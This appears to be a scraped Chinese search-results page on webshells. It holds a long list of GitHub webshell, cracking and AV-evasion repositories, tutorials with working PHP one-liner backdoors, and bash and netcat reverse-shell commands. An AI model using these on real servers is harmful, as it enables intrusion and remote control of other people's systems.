    展开全文
  • 对性的进行扫描来大量获取现成的webshell,比自己去找上 传漏洞方便多了。 例如, 扫diy.asp,获取旁注软件的上传webshell,密码为空; ... 使用技巧: 1、URL后缀,建议每次选1-2个即可; 2、关键词,可以留空,...
  • 最新webshell大合集

    万次阅读 2019-05-23 00:50:11
    收集与整理了各种webshell,以便在日后的项目中做Webshell检测训练。 https://github.com/tennc/webshell 各种webshell集合 https://github.com/ysrc/webshell-sample webshell样本 ...

    收集与整理了各种webshell,以便在日后的项目中做Webshell检测训练。

    https://github.com/tennc/webshell  
    各种webshell集合


    https://github.com/ysrc/webshell-sample
    webshell样本


    https://github.com/xl7dev/WebShell
    Webshell && Backdoor Collection


    https://github.com/tdifg/WebShell
    WebShell Collect

    https://github.com/fictivekin/webshell
    A console-based, JavaScripty HTTP client utility


    https://github.com/bartblaze/PHP-backdoors
    A collection of PHP backdoors. For educational or testing purposes only.


    https://github.com/malwares/WebShell
    webshell集合


    https://github.com/xypiie/WebShell
    web-based shell


    https://github.com/testsecer/WebShell
    WebShell收集项目

    https://github.com/nbs-system/php-malware-finder
    Detect potentially malicious PHP files


    https://github.com/BlackArch/webshells
    Various webshells


    https://github.com/tanjiti/webshellSample
    webshell sample for webshel check module

    https://github.com/dotcppfile/DAws
    Advanced Web Shell


    https://github.com/theralfbrown/webshell
    Web Shell WSO 


    https://github.com/gokyle/webshell
    A shell for new Go webapps


    https://github.com/sunnyelf/cheetah
    a very fast brute force webshell password tool 


    https://github.com/JohnTroony/php-webshells
    Common php webshells


    https://github.com/evilcos/python-webshell
    python webshell

    https://github.com/lhlsec/webshell
    webshell集合

    https://github.com/shewey/webshell
    webshell&poc

    https://github.com/boy-hack/WebshellManager
    w8ay 一句话WEB端管理工具


    https://github.com/liulongfei/web_shell_bopo
    一句话木马爆破工具


    https://github.com/Ni7eipr/webshell
    这是一个webshell收集项目


    https://github.com/WangYihang/Webshell-Sniper
    PyWebshell


    https://github.com/pm2-hive/pm2-webshell
    Fully capable Webshell


    https://github.com/samdark/yii2-webshell


    https://github.com/b1ueb0y/webshell


    https://github.com/oneoneplus/webshell
    webshell收集与整理


    https://github.com/zhaojh329/xterminal
    xTerminal is a remote web shell tool for multi terminal devices.


    https://github.com/juanparati/Webshell
    A remote execution tool (or security intrusion tool)


    https://github.com/wofeiwo/webshell-find-tools
    分析web访问日志以及web目录文件属性,用于根据查找可疑后门文件的相关脚本。


    https://github.com/abcdlzy/webshell-manager


    一句话木马管理工具


    https://github.com/alert0/webshellch
    中国菜刀jsp端


    https://github.com/needle-wang/jweevely
    a exec jsp shell, simply like weevely php C/S shell.


    https://github.com/tengzhangchao/PyCmd


    加密隐形一句话木马


    https://github.com/0x73686974/WebShell
    Stealth WebShell AntiLogging

    https://github.com/wonderqs/Blade
    A webshell connection tool with customized WAF bypass payloads


    https://github.com/le4f/aspexec


    asp命令执行webshell

    https://github.com/jijinggang/WebShell
    Go语言Run predefined shell script through web browser


    https://github.com/matiasmenares/Shuffle
    WebShell Backdoor Framework


    https://github.com/Skycrab/PySpy
    https://github.com/huge818/webshell
    这是一个网页版本的xshell

    https://github.com/gb-sn/go-webshell
    A simple webshell written in Go


    https://github.com/BlackHole1/Fastener
    Web版webshell


    https://github.com/blackhalt/WebShells


    https://github.com/tomas1000r/webshell


    https://github.com/hanzhibin/Webshell
    This provide a bash like web tool for Hamsta.

    https://github.com/decebel/webShell
    commanline web shell UI


    https://github.com/Aviso-hub/Webshell
    Webshell interface

    https://github.com/vnhacker1337/Webshell


    webshell合集


    https://github.com/bittorrent3389/Webshell
    php webshell


    https://github.com/anhday22/WebShell
    webshell


    https://github.com/buxiaomo/webshell
    WebShell Web 管理平台


    https://github.com/z3robat/webshell
    https://github.com/n3oism/webshell
    新webshell


    https://github.com/uuleaf/WebShell
    网站木马


    https://github.com/onefor1/webshell
    冷门Webshell

    https://github.com/cunlin-yu/webshell
    Collected some useful webshell from the wide.


    https://github.com/roytest1/webshell


    https://github.com/backlion/webshell
    webshell合集 22天前更新


    https://github.com/opetrovski/webshell
    https://github.com/opetrovski/webshell
    管理工具


    https://github.com/gsmlg/webshell


    https://github.com/health901/webshell


    PHP webshell控制台


    https://github.com/inof8r/WebShell
    Android Webview wrapper


    https://github.com/Najones19746/webShell
    pywebshell


    https://github.com/RaspiCar/WebShell
    C WEBSHELL

    https://github.com/health901/webshell
    PHP Web Shell 控制台


    https://github.com/dinamsky/WebShell
    webshell合集


    https://github.com/Fay48/WebShell
    https://github.com/tuz358/webshell
    后门


    https://github.com/shajf/Webshell
    https://github.com/t17lab/WebShell
    Web Shell


    https://github.com/blacksunwen/webshell
    这是一个webshell收集项目


    https://github.com/webshellarchive/webshellco
    webshell收集


    https://github.com/lolwaleet/Rubshell


    ruby shell


    https://github.com/WhiteWinterWolf/WhiteWinterWolf-php-webshell
    https://github.com/goodtouch/jruby-webshell


    https://github.com/maestrano/webshell-server


    https://github.com/LuciferoO/webshell-collector


    https://github.com/wangeradd1/myWebShell
    一些比较冷门或者特殊的webshell脚本、jar包、war包


    https://github.com/0xHJK/caidao
    中国菜刀


    https://github.com/alintamvanz/1945shell
    1945 Shell adalah project webshell backdoor yang rilis setiap tahun (17 Agustus). dan rilis build setiap bulan


    https://github.com/Venen0/vshell
    VenenoShell is a PHP based webshell that let you manage a web server. You can create, modify and delete files on it.


    https://github.com/lojikil/tinyshell
    super tiny remote webshell with some helpers. Not trying to hide anything, just a simple shell

    https://github.com/wso-shell/PHP-SHELL-WSO
    https://github.com/meme-lord/PHPShellBackdoors


    https://github.com/Learn2Better/51mp3L-Web-Backdoor
    PHP WebShell Backdoor for Access all dir/file in the Website. 


    https://github.com/yuxiaokui/JBoss-Hack
    通过调用zoomeye来获取安装JBoss机器的地址,然后通过HEAD请求植入webshell。


    https://github.com/SecurityRiskAdvisors/cmd.jsp
    A super small jsp webshell with file upload capabilities.


    https://github.com/ddcunningham/crude-shellhunter
    Fooling with AWK to remove webshells injected into client code.


    https://github.com/stormdark/BackdoorPHP


    https://github.com/vduddu/Malware


    https://github.com/1oid/BurstPHPshell
    破解webshell


    https://github.com/gokyle/urlshorten_ng
    URL shortening service based on 'webshell'.


    https://github.com/rhelsing/trello_osx
    Na(t)ive Trello implementation for OS X, using WebShell


    https://github.com/pfrazee/wsh-grammar
    WebShell grammer definition, and parser


    https://github.com/x-o-r-r-o/PHP-Webshells-Collection
    Most Wanted Private and Public PHP Web Shells Can Be Downloaded Here. (Educational Purpose Only)


    https://github.com/IHA114/WebShell2


    https://github.com/WangYihang/WebShellCracker
    https://github.com/KINGSABRI/WebShellConsole


    https://github.com/jujinesy/webshells.17.03.18


    https://github.com/hackzsd/HandyShells
    Some Handy WebShell Scripts


    https://github.com/mperlet/pomsky
    python web shell


    https://github.com/cybernoir/bns-php-shell
    Basic and Stealthy PHP webshell


    https://github.com/XianThi/rexShell
    php backdoor, webshell


    https://github.com/H4CK3RT3CH/php-webshells


    https://github.com/minisllc/subshell


    SubShell is a python command shell used to control and execute commands through HTTP requests to a webshell. SubShell acts as the interface to the remote webshells.


    https://github.com/linuxsec/indoxploit-shell
    Webshell with unique features


    https://github.com/kuniasahi/mpshell
    一个简单的phpwebshell


    https://github.com/datasiph0n/MyBB-Shell-Plugin
    https://github.com/magicming200/evil-koala-php-webshell
    邪恶考拉php webshell。


    https://github.com/0xK3v/Simple-WebShell


    https://github.com/djoq/docker-pm2-webshell
    SSH access to a docker virtual machine via browser.


    https://github.com/SMRUCC/GCModeller.WebShell
    GCModeller web user interface


    https://github.com/darknesstiller/WebShells
    Proyecto para revisión de funcionalidades de WebShells


    https://github.com/devilscream/remoteshell
    Simple Webshell based on Terminal.


    https://github.com/0verl0ad/gorosaurus


    https://github.com/grCod/poly
    A python script that generates polymorphic webshells.


    https://github.com/cryptobioz/wizhack
    Get shellcodes and webshells quickly.


    https://github.com/amwso/docker-webshell
    b374k webshell in docker


    https://github.com/William-Hunter/JSP_Webshell
    一个简单的使用jsp实现DB CRUD 操作的webshell模拟


    https://github.com/yangbaopeng/ashx_webshell
    ashx_webshell


    https://github.com/webshellpub/awsome-webshell
    webshell样本大合集。收集各种webshell用于webshell分析与发现。


    https://github.com/noalh8t/simple-webshell


    https://github.com/s3cureshell/wso-2.8-web-shell
    WSO 2.8.5 webshell


    https://github.com/LiamRandall/simpleexec
    A simple webshell in Go.


    https://github.com/Samorodek/humhub-modules-webshell
    Simple web shell.


    https://github.com/mwambler/webshell-xpages-ext-lib


    https://github.com/AVGP/Wesh
    The JS Webshell


    https://github.com/edibledinos/weevely3-stealth


    Weevely is a command line web shell dynamically extended over the network at runtime, designed for remote server administration and penetration testing.


    https://github.com/lehins/haskell-webshell
    SSH Webshell in Haskell


    https://github.com/guglia001/php-secure-remove
    https://github.com/gokyle/webshell_tutorial
    Tutorial site for webshell.


    https://github.com/azmanishak/webshell-php
    Webshell PHP library


    https://github.com/andrefernandes/docker-webshell
    docker-webshell


    https://github.com/codehz/node-webshell


    https://github.com/koolshare/merlin-webshell
    merlin_thunder


    https://github.com/StephaneP/erl-webshell


    https://github.com/jjjmaracay3/webshells
    asp,aspx,php,jsp,pl,py 各种webshell


    https://github.com/grCod/webshells


    https://github.com/ian4hu/bootshell
    A JSP WebShell with bootstrap.


    https://github.com/Ghostboy-287/wso-webshell


    WSO php webshell


    https://github.com/xiaoxiaoleo/xiao-webshell
    a collection of webshell 


    https://github.com/alexbires/webshellmanagement
    manage all the shells


    https://github.com/codeT/collectWebShell
    collect common webshell


    https://github.com/PhilCodeEx/jak3fr0z


    https://github.com/Ettack/WebshellCCL
    辅助过安全狗


    https://github.com/jubal-R/TinyWebShell
    A simple php web shell and client with an interactive console for use in CTFs, wargames, etc. The goal is to keep the web shell tiny by moving as much code as possible to the client side.


    https://github.com/CaledoniaProject/AxisInvoker
    A minimal webshell for Apache AXIS2


    https://github.com/theBrianCui/ISSS_webShell
    The official website (source) of the Information & Systems Security Society.


    https://github.com/webshell/webshell-node-sdk
    The easiest way to use Webshell in javascript using Node.js


    https://github.com/Medicean/AS_BugScan


    通过 Webshell 创建 BugScan 节点(需要目标支持 Python2.7)


    https://github.com/3xp10it/xwebshell


    免杀webshell


    https://github.com/niemand-sec/RazorSyntaxWebshell
    Webshell for Razor Syntax (C#)


    https://github.com/LuciferoO/webshell-collector
    This is a webshell collector project


    https://github.com/0verl0ad/HideShell
    A tool to ofuscate big webshells (c99, r57...). Can hide your webshell from AV, LMD, Neopi, Web Shell Detector, etc.


    https://github.com/L-codes/oneshellcrack
    oneshellcrack 是一个非常快的webshell暴力破解工具


    https://github.com/ArchAssault-Project/webshells
    webshells repo for arch assault


    https://github.com/AndrHacK/andrshell
    DDoS WEB SHELL - PYTHON3


    --------------------- 
    作者:MXi4oyu 
    原文:https://blog.csdn.net/MyPC2010/article/details/77776870 

    展开全文
  • Webshell

    千次阅读 2019-08-25 20:14:31
    webshell webshell简介: webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站...

    webshell

    webshell简介:

    • webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、故武器管理等待一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
    • webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
    • 小马:一句话木马也称为小马,即整个shell代码量只有一行,一般时系统执行函数
    • 大马:代码量和功能比小马多,一般会进入二次编码加密,防止被防火墙/入侵系统检测到
    shell2.php	#eveal 使用php函数,例如phpinfo();
    <?php eval($_REQUEST['cmd']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
    

    在这里插入图片描述

    shell3.php  #systeam使用linux系统命令,例如ls,cp,rm
    <?php system($_REQUEST['yangge']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell3.php?yangge=cat /etc/passwd
    

    在这里插入图片描述

    • 中国菜刀
    <?php @eval('$-PSOT[chopper']);?>
    说明:requesr是在网页端输入变量访问,POST则是使用想中国菜刀之类的工具连接,是C/S架构。
    

    在这里插入图片描述

    展开全文
  • XCTF攻防世界web新手练习_ 8_webshell

    千次阅读 2019-04-29 12:57:57
    XCTF攻防世界web新手练习—webshell 题目 题目为webshell,描述中,重点:把它放在了index.php里 打开题目,你会使用webshell吗?并写出了一句话,从中很容易看出这个一句话的密码是" shell " 顺理成章,打开菜刀...
  • 基于机器学习的webshell检测(一)

    千次阅读 2019-03-08 21:34:49
    本篇主要讲述,如何使用机器学习的方法来对网络安全中常见的风险点:webshell进行检测 本篇会使用LR ,XGB两种模型进行测试, 下一篇将会使用深度学习方法来解决该问题 (1)首先我们简单介绍一下什么是webshell: ...
  • Webshell 管理工具

    千次阅读 多人点赞 2019-09-15 13:19:24
    《目录》 Webshell webshell管理工具 中国菜刀 中国蚁剑 冰蝎 weevely Webshell Webshell 这个词,我初次接触是一脸懵。 拆开来看, web 是...
  • 对linux服务器的渗透测试过程中,我们在getshell得到一个低权限的webshell后,由于webshell是非交互式shell,通常要反弹一个交互式的shell,然后进一步进行提权。那么,什么是交互式shell和非交互式shell呢,他们又...
  • Linux下通过WebShell反弹Shell的技巧

    千次阅读 2018-11-18 03:46:36
    Linux下通过WebShell反弹Shell的技巧
  • Redis Getshell自动化实践之webshell

    千次阅读 2016-07-21 18:33:49
    前两篇文章介绍了两种直接root权限getshell的方式,这里介绍通过写入webpage来得到shell的半自动化脚本. 脚本的意义是将误报的可能性降到最低,发现目标并简化手工操作.利用流程1 通过redis未授权访问漏洞,向redis...
  • tomcat下jsp shellwebshell

    千次阅读 2019-06-23 18:06:56
    首先要了解,什么是服务器,什么是web,服务器就是和电脑一样的,有操作系统,...丢jsp进去,可以马上解析jsp文件,tomcat运行之后java sdk以及运行,jsp可以条用java sdk api,java api可以条用系统shell,这样就形...
  • burpsuite破解webshell密码+国内黑阔shell密码收集 burpsuite_pro_v1.3.03 下载:http://h4ck3r.nbst.org/tool/burpsuite_pro_v1.3.03.zip Burpsuite需要JAVA支持,请先安装JAVA环境。 首先我们先打开Burp...
  • 文档:getshell总结.note 链接:http://note.youdao.com/noteshare?id=b58d8f4a93c3e5cb0f40ffa5243c11e6&sub=A2B0957B245545E085B2D45616CE3E78
  • 关于--os-shellwebshell

    2020-07-30 01:48:03
    1.首先需要知道目录(web目录) 2.得是DBA权限 寻找web目录 dir C:\ /s /b | find “xLogin.aspx” 这里需要注意转义^ ...os-shell 无法执行的时候,权限低的时候可以尝试 sql-shellwebshell select
  • 1.能用WebShell运行cmd命令。 方法有很多,首先是WScript.Shell,如果被改名或者被删了,就找可运行目录上传cmd.exe。 2.上传nc。可以跟cmd.exe上传到同一目录。 步骤: 1、本地监听一个端口。 nc -vv -l -p ...
  • 一句话查找PHP木马 # find ./ -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc))" &gt; /tmp/php.txt # grep -r --...gt; /tmp...
  • 1.主机发现 2.扫描端口服务版本 3.访问80端口 4.扫描后台目录 分别访问,除了空白页、首页、就是404页面,只发现下面入口 发现Joomla疑似cms,查看敏感文件 搜索该版本cms有没有什么漏洞 ...sql...
  • 利用条件: 1.靶机redis链接未授权 2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或...
  • php webshell 下载(目前功能强大齐全的php版webshell

    千次下载 热门讨论 2010-11-09 22:29:51
    声明:本PHP-webshell仅供学习交流以及网站安全检测之用,功能过于强大,请不要用过非法用途,否则一切后果由使用者本人承担! 使用方法:上传至网站任意目录连接即可,其中 $admin['pass'] = "admin"; 后面引号里...
  • linux反弹shell的原理

    万次阅读 2020-08-24 11:30:15
    反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp...
  • 渗透获取webshell思路总结 又坐一天没动地方哈,但是感觉还是有一些没真整明白,也没总结的特别全面细致,今天先发出来,明天再花时间再整理一下,这个问题也是很多面试中常见问题,我认为值得花些时间来研究。 ...
  • 各种php webshell大全

    热门讨论 2011-10-14 14:06:49
    声明:本PHP-webshell仅供学习交流以及网站安全检测之用,功能过于强大,请不要用过非法用途,否则一切后果由使用者本人承担! 使用方法:上传至网站任意目录连接即可,其中 $admin['pass'] = "admin"; 后面引号...
  • WebShell 方法总结

    千次阅读 2019-10-08 15:56:11
    当你的才华 ...拿WebShell 方法 拿WebShell 的两种类型 管理权限拿WebShell 常见的方法归纳为14种: 普通权限拿WebShell 常见的方法归纳为7种:   拿WebShell 方法 拿WebShell 的两种类型  ...
  • WebShell作为黑客常用来提权的工具,通常出现在存在任意文件上传漏洞的网站中,但如果遇到一个没有任何的上传点的网站,想通过文件上传漏洞获得权限显然就行不通了,但所谓“山穷水尽疑无路,柳暗花明又一村”,此时...
  • 从aspx到webshell肉鸡

    千次阅读 2014-05-15 10:17:27
    本文的灵感来自于安天365团队的一个篇稿件,在稿件中提到了一个AspxSpy的Asp.net类型后门软件,在安全界中最近一直流行后门中的后门,即通过给出一个包含后门的Webshell程序,众多小黑们在外面吭哧吭哧的干活,而给...
  • 在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,⽽而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结. 0x01 反弹shell 1) Bash 部分linux发行版中的Bash可以直接反弹一...
  • vue实现webshell

    千次阅读 2020-06-02 15:36:27
    “web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为通过网站端口对网站服务器的某种程度上操作的权限。 一方面,webshell被站长常常用于网站管理、...

空空如也

1 2 3 4 5 ... 20
收藏数 3,719,993
精华内容 1,487,997
关键字:

webshell